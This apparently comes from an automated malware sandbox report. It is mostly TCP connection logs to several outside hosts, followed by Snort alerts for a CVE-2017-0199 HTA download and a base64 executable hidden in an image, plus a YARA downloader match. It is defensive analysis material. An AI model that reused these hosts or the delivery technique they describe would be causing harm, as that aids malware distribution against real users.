Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic	TCP traffic: 94.156.65.247:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic	TCP traffic: 94.156.65.247:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 94.156.65.247:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 94.156.65.247:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49171

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2024449 ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl 192.168.2.22:49166 -> 198.46.178.144:80
Source: Traffic	Snort IDS: 2024449 ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl 192.168.2.22:49168 -> 198.46.178.144:80
Source: Traffic	Snort IDS: 2047750 ET TROJAN Base64 Encoded MZ In Image 91.92.254.194:80 -> 192.168.2.22:49171
Source: Traffic	Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 91.92.254.194:80 -> 192.168.2.22:49171
Source: Traffic	Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 91.92.254.194:80 -> 192.168.2.22:49171
Source: Traffic	Snort IDS: 2020424 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1 198.46.178.144:80 -> 192.168.2.22:49172

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 94.156.65.247 80

Jump to behavior

Yara detected Generic Downloader

Source: Yara match	File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
